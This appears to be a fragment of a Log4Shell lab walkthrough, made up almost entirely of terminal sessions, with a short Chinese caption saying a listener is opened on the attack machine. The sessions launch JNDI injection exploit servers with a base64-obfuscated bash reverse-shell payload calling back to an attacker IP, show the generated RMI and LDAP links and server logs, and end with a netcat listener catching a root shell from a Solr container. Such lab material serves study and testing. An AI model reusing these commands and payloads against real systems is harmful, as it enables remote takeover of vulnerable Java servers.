┌──(kali㉿kali)-[~/tools] └─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE3Mi4xOC4wLjEvNjk2OSAwPiYxCg==}|{base64,-d}|{bash,-i}" -A 192.1.1.128 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [ADDRESS] >> 192.1.1.128 [COMMAND] >> bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE3Mi4xOC4wLjEvNjk2OSAwPiYxCg==}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://192.1.1.128:1099/vy06r4 ldap://192.1.1.128:1389/vy06r4 Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://192.1.1.128:1099/jxriw9 Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://192.1.1.128:1099/j4u6ro ldap://192.1.1.128:1389/j4u6ro
----------------------------Server Log---------------------------- 2023-07-27 06:40:31 [JETTYSERVER]>> Listening on 0.0.0.0:8180 2023-07-27 06:40:32 [RMISERVER] >> Listening on 0.0.0.0:1099 2023-07-27 06:40:32 [LDAPSERVER] >> Listening on 0.0.0.0:1389 2023-07-27 06:41:26 [RMISERVER] >> Have connection from /172.18.0.2:41552 2023-07-27 06:41:26 [RMISERVER] >> Reading message... 2023-07-27 06:41:26 [RMISERVER] >> Is RMI.lookup call for vy06r4 2 2023-07-27 06:41:26 [RMISERVER] >> Closing connection Exception in thread "Thread-1" java.lang.IllegalAccessError: class jndi.RMIRefServer (in unnamed module @0x4015e7ec) cannot access class com.sun.jndi.rmi.registry.ReferenceWrapper (in module jdk.naming.rmi) because module jdk.naming.rmi does not export com.sun.jndi.rmi.registry to unnamed module @0x4015e7ec at jndi.RMIRefServer.handleRMI(RMIRefServer.java:343) at jndi.RMIRefServer.doCall(RMIRefServer.java:299) at jndi.RMIRefServer.doMessage(RMIRefServer.java:245) at jndi.RMIRefServer.run(RMIRefServer.java:190) at java.base/java.lang.Thread.run(Thread.java:833)
ubuntu@ubuntu:~/tools/Log4j-exp/poc$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.1.1.138 [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8080...
攻击机上开启监听
1 2 3 4
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 6666 [sudo] password for kali: listening on [any] 6666 ...
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 6666 [sudo] password for kali: listening on [any] 6666 ... connect to [192.1.1.128] from (UNKNOWN) [172.18.0.2] 60728 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@21f80351de19:/opt/solr/server#